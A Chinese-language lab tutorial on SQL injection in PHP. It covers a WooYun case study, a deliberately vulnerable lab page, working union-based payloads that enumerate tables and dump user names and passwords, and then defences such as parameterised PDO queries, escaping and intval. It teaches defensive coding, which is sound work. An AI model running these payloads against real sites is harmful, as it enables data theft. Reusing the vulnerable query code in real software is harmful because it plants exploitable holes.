實驗環境
漏洞介紹
認識SQL注入漏洞
SQL注入漏洞可以說是在企業運營中會遇到的最具破壞性的漏洞之一,它也是目前被利用得最多的漏洞。
要學會如何防御SQL注入,我們首先要對他的原理進行了解。
SQL注入(SQLInjection)是這樣一種漏洞:當我們的Web app在向后台數據庫傳遞SQL語句進行數據庫操作時。
如果對用戶輸入的參數沒有經過嚴格的過濾處理,那么惡意訪問者就可以構造特殊的SQL語句,直接輸入數據庫引擎執行,獲取或修改數據庫中的數據。
漏洞危害
1.直接就造成數據庫中的數據泄露
2.如果數據庫連接用戶具備高權限,則可能導致惡意訪問者獲取服務器控制權
3.眾多安全事件的切入點。
相關百度漏洞案例
WooYun-2015-157024 某百度音頻系統注入間接導致GETSHELL可內網滲透。
惡意訪問者發現一處注入漏洞后,隨后該惡意訪問者通過信息搜集,發現一處信息泄漏,得到了網站目錄的絕對路徑。
該惡意訪問者想通過into_outfile
寫入獲取shell
權限。發現PHP后端具有基本的防御,'
單引號被轉義。導致寫shell時語法錯誤,無法突破后,惡意訪問者開始調整惡意訪問角度。
不甘放棄的惡意訪問者開始使用Mysql load_file函數
讀取網站程序源碼審計,終於惡意訪問者發現一處二次注入已繞過單引號的過濾。通過構造夠到語句嘗試GETSHELL。
惡意訪問者利用成功,寫入了惡意PHP文件,獲得了一個SHELL權限,且該服務器處於百度內網,可進一步內網滲透,提權,嗅探等操作,按照目前惡意訪問者擁有的權限可以對網站,甚至數據庫進行破壞操作,該漏洞被白帽子提交修復。但是如果落入惡意的“黑客”手中,進一步內網滲透,可能造成更多服務器,敏感數據淪陷!
- 根據本案例思考,良好的安全編碼習慣,敏感信息處理,就相對避免惡意訪問者多種惡意訪問。
實驗步驟
漏洞分析與防護
Part 1:簡單漏洞實例
首先,我們打開瀏覽器輸入測試平台的地址,選擇SQL注入漏洞進行分析。
源碼分析
該頁面中是一個簡單的漏洞源碼示例,在接收到用戶的提交數據后,對輸入的內容沒有任何過濾。所以我們通過簡單的SQL注入語句構造就可以對數據庫中的內容進行操作。我們先分析該頁面的源代碼:
<?php include("sql-connections/sql-connect.php"); error_reporting(0); $id = isset($_GET['id']) ? $_GET['id']:'1'; $sql="SELECT * FROM news WHERE id='$id'"; //用戶輸入完全未過濾,直接帶入SQL語句,導致SQL注入 $result=mysql_query($sql); $row = mysql_fetch_array($result); if($row) { echo "<table class='table table-striped'>"; echo '<tr><td>'. $row['title'].'</td></tr> '; echo '<tr><td>' .$row['content'].'</td></tr>'; echo "</table>"; } else { echo "<br>"; echo '<font color= "red">'; print_r(mysql_error()); echo "</font>"; } ?>
在這段代碼中,通過變量"$sql"
來執行相應的SELECT語句,但是對用戶輸入的變量"$id"
並沒有任何處理,造成了SQL注入漏洞的產生。接下來,我們通過簡單的測試,驗證此處SQL注入的存在。
漏洞驗證
- 首先,我們在輸入的末端添加一個 ‘ ' ’ 單引號,對輸入內容進行閉合,並在之后添加判斷語句:
' and 1=1 --+ //"--+或者#為注釋符,用於截斷原SQL語句末尾原有的單引號"
注入代碼= ?id=1' and 1=1 --+
- 實現單引號繞過,服務端在接收到這段輸入內容之后,執行的SQL語句就變為了:
select * from users where id='1' and 1=1 --+ //由於"and 1 = 1"是恆真的,所有查詢的結果正常顯示
注入代碼= ?id=1' and 1=2 --+
這時,我們對輸入的內容稍微修改,輸入'and 1=2 --+
服務端執行的SQL語句就變為了:
select * from users where id='1' and 1=2 --+ //此時,由於and 1=2恆為假,所以並沒有返回信息,所以確定存在注入漏洞。
在驗證漏洞存在之后,我們就可以進行各種語句的構造,操作數據庫中的內容。以下實驗內容,大家可以任意嘗試。
注入代碼= ?id=1' order by 4 --+
- 判斷字段長度
'Order by 4
服務端執行語句為:select * from users where id='1' order by 4 --+
通過Order by 函數判斷列長度,由報錯信息判斷列長度小於4,繼續向下嘗試。
注入代碼= ?id=1' order by 3 --+
- 再次判斷字段長度
Order by 3
服務端執行語句為:select * from users where id='1' order by 3 --+
- 通過
Order by
函數判斷列長度,無報錯信息判斷列長度等於3,根據收集信息進一步注入。
注入代碼
= ?id=1'and 1=2 union select 1,user(),database() --+
- 獲取敏感信息
'and 1=2 union select 1,user(),database() --+
服務端執行語句為:select * from users where id='1' and 1=2 union select 1,user(),database() --+
爆出服務端MySQL當前用戶名,當前數據庫名,可以利用數據庫名進一步獲取表名。
- 注入獲取表名
注入代碼
= ?id=1'and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
服務端執行語句為: select * from users where id='1' and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
默認MySQL information_schema數據庫中保存了數據庫所有數據庫表和列的信息,因此我用利用這個特性去查詢表和列名。 獲取到表名后,依舊利用information_schema數據庫查詢列名。
注入代碼
= ?id=1' and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
服務端執行語句為: select * from users where id='1'and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
獲取USER表,列名稱。
注入代碼
='and 1=2 union select 1,group_concat(name),group_concat(pass) from users --+
- 注入獲取用戶數據 服務端執行語句為:
select * from users where id='1' and 1=2 union select 1,group_concat(name),group_concat(pass) from users --+
<br> 通過group_concat獲取所有用戶數據,最終實現脫褲(得到數據庫中的數據)。
Part2 漏洞防護總結
最佳防御代碼 策略
PDO prepare參數化語句
PHP數據對象(PHP Date Object PDO)框架最常用的數據庫接口之一,通過使用問號占位符來支持參數化語句。
安全示例代碼1
<?php $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass"); $dbh->exec("set names 'GBK'"); $sql = "select * from test where name = ? and password = ?"; $stmt = $dbh->prepare($sql); $exeres = $stmt->execute(array($name,$pass)); ?>
這段代碼雖然使用了PDO prepare方式處理查詢,但是當PHP版本在5.3.6之前還是存在寬字節注入漏洞,原因在於使用了本地模擬Prepare,在把完整SQL語句發送給服務器,並且編碼設置了GBK,所以會有PHP和MYSQL編碼不一致原因導致注入,解決方法是 使用
ATTR_EMULATE_PREPARES
來禁用PHP本地模擬prepare。
安全示例代碼2
<?php $dbh = new PDO("mysql:host=localhost;dbname=demo","user","pass"); $dbh->setAttribute(PDO::ATTR_EMULATE_PREPARES,false); $dbh->exec("set names 'utf8'"); $sql = "select * from test where name = ? and password = ?"; $stmt = $dbh->prepare($sql); $exeres = $stmt->execute(array($name,$pass)); ?>
這里使用某CMS SQL注入防護系統代碼,在安全編碼的習慣基礎上,在向數據庫發送執行請求時,所有請求必須經過防注入函數二次驗證,最大程度上避免了SQL注入漏洞的產生。
- 注意 : 不要忽略X-Forwarded-For,Header,Refferer參數 包括從數據庫取出時也要經過安全函數過濾,因為這些攻擊者完全可以通過抓包修改這些參數,一切輸入甚至輸出都可能是有害的。
private static function _do_query_safe($sql) { $sql = str_replace(array('\\\\', '\\\'', '\\"', '\'\''), '', $sql); $mark = $clean = ''; if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false) { $clean = preg_replace("/'(.+?)'/s", '', $sql); } else { $len = strlen($sql); $mark = $clean = ''; for ($i = 0; $i < $len; $i++) { $str = $sql[$i]; switch ($str) { case '`': if(!$mark) { $mark = '`'; $clean .= $str; } elseif ($mark == '`') { $mark = ''; } break; case '\'': if (!$mark) { $mark = '\''; $clean .= $str; } elseif ($mark == '\'') { $mark = ''; } break; ... } $clean .= $mark ? '' : $str; } } if(strpos($clean, '@') !== false) { return '-3'; } $clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean)); if (self::$config['afullnote']) { $clean = str_replace('/**/', '', $clean); } ... return 1; }
設計輸入驗證和處理策略
輸入驗證是一種在保護應用程序安全方面很有用的工具。不過,他只能作為深度防御策略(包含多個防護層以保護應用程序的總體安全)的一個子部分。
在應用程序輸入層使用白名單輸入驗證以便驗證所有用戶輸入都符合應用要接收的內容。應用只允許接收符合期望格式的輸入
在客戶端瀏覽器上同樣執行白名單輸入驗證,這樣可以防止為用戶輸入不可接收的數據時服務器和瀏覽器的往返傳遞。不能將該操作作為安全控制手段,因為攻擊者可以修改來自用戶瀏覽器的所有數據。
在Web應用防火牆(WAF)層使用黑名單和白名單輸入驗證(以漏洞“簽名”和“有經驗”行為的形式)以便提供入侵檢測/阻止功能和監控應用攻擊。
在應用程序中自始自終地使用參數化語句以保證執行安全地SQL執行。
在數據庫中使用編碼技術以便在動態SQL中使用輸入時安全地對其編碼。
在使用從數據庫中提取數據之前恰當地對其進行編碼。例如將瀏覽器中顯示的數據針對跨站腳本進行編碼。
推薦防護方案
領域驅動的安全性
- SQL注入之所以發生,是因為我們的應用程序不正確地將數據在不同表示方式之間進行映射。
- 通過將數據封裝到有效值對象中,並限制對原始數據的訪問,我們就可以控制對數據的使用
使用參數化語句
- 動態SQL(或者將SQL查詢組裝成包含用戶控制的輸入字符串並提交給數據庫)是引發SQL注入漏洞的主要原因。
- 應該使用參數化語句(也稱為預處理語句)而非動態SQL來安全地組裝SQL查詢
- 在提供數據時可以只使用參數化語句,但卻無法使用參數化語句來提供SQL關鍵字或表示符(比如表名或列名)。
驗證輸入
- 盡可能堅持使用白名單輸入驗證(只接受期望的已知良好的輸入)。
- 確保驗證應用收到的所有受用戶控制的輸入類型,大小,范圍和內容。
- 只有當無法使用白名單輸入驗證時才能使用黑名單輸入驗證(拒絕已知不良的或基於簽名的輸入)
- 絕不能單獨只使用黑名單檢驗數據,至少應該總是將它與輸出編碼技術一起結合使用。
編碼輸出
- 確保對包含用戶可控制輸入的查詢進行正確的編碼以防止使用單引號或其他字符來修改查詢。
- 如果正在使用LIKE子句,請確保LIKE中的通配符恰當編碼。
- 在使用從數據庫接收到的數據之前確保已經對數據中的敏感內容進行了恰當的輸入驗證和輸出編碼。
規范化
- 將輸入解碼或變為規范格式后才能執行輸入驗證過濾器和輸出編碼
- 任何單個字符都存在多種表示及編碼方法。
- 盡可能使用白名單輸入驗證並拒絕非規范格式的輸入。
通過設計避免SQL注入
- 使用存儲過程以便在數據庫層擁有較細粒的許可。
- 可以使用數據訪問抽象層來對整個應用施加安全的數據訪問。
- 設計時,請考慮對敏感信息進行附加的控制。
其他防御方式
GPC/RUNTIME魔術引號
通常數據污染有兩種方式,一種是應用被動接受參數,類似於GET,POST等;還有一種是主動獲取參數,類似於讀取遠程頁面或者文件內容等。所以防止SQL注入的方法就是要守住這兩條路。
magic_quotes_gpc負責對GET,POST,COOKIE的值進行過濾,magic_quotes_runtime對從數據庫或者文件中獲取的數據進行過濾。通常在開啟這兩個選項之后能防住部分SQL注入漏洞被利用,因為我們之前也介紹了,在某些環境下存在繞過,在INT型注入上是沒有多大作用的。
在PHP.INI配置GPC RUTIME啟用狀態
測試代碼如下:
<?php echo ($_GET['ichunqiu']); ?>
- GPC關閉狀態下,可以看到GET請求未經過過濾顯示。
& GPC開啟狀態,自動對GET獲取的數據進行了轉義。
過濾函數和類
在PHP5.4之前,可以利用魔術引號來解決部分SQL注入的問題。而GPC在面對INT型注入時,也無法進行很好的防御。所以在通常的工作場景中,用得多的還是過濾函數和類。 不過如果單純的過濾函數寫得不夠嚴謹,也會出現繞過的情況。這時候可以使用預編譯語句來綁定變量,一般情況下這是防御SQL注入的最佳方式。
mysql[real]escape_string函數
mysql_escape_string
和mysql_real_escape_string
函數都是對字符串進行過濾,在PHP4.0.3
以上版本才存在。以下字符會受到影響: [\x00][\n][\r][\][']["][\x1a]
兩個函數唯一不一樣的地方在於mysql_real_escape_string
接受的是一個連接句柄並根據當前字符串,所以推薦使用mysql_real_escape_string
。
測試代碼如下:
<?php $con = @mysql_connect("localhost","root","root"); $id = mysql_real_escape_string($_GET['ichunqiu'],$con); echo "$id"; ?>
intval等字符轉換
上面我們提到的過濾方式,在int類型注入時效果並不好,比如可以通過報錯或者忙注等方式來繞過,這時候intval等函數就起作用了,intval的作用是將變量轉換成int類型,這里舉例intval是要表達一種方式,一種利用參數類型白名單的方式來防止漏洞。
- 代碼示例 1
<?php $id=intval($id); if($id) { $sql="select * from users where uid=".$id; mysql_query($sql,$con); }
測試效果如下: 將數據強制轉換成為INT,避免了閉合單引號繞過的風險。
- 代碼示例 2
$con = mysql_connect("localhost","mysql_user","mysql_pwd"); $id=$_GET['id']; //字符型的使用mysql_real_escape_string進行處理即:$id=mysql_real_escape_string($id); //如果使用了odp框架,字符型的可調用escapeString()方法進行過濾 $id=intval($id); sql="select username,password from users where uid=".$id; mysql_query($sql,$con);
在使用intval過濾時,不要使用if(intval($id)),這樣會過濾失效,而應該使用
$id=intval($id); if($id) { $sql="select username,password from users where uid=".$id; mysql_query($sql,$con); }
思考
SQL注入使用內置安全轉義函數過濾。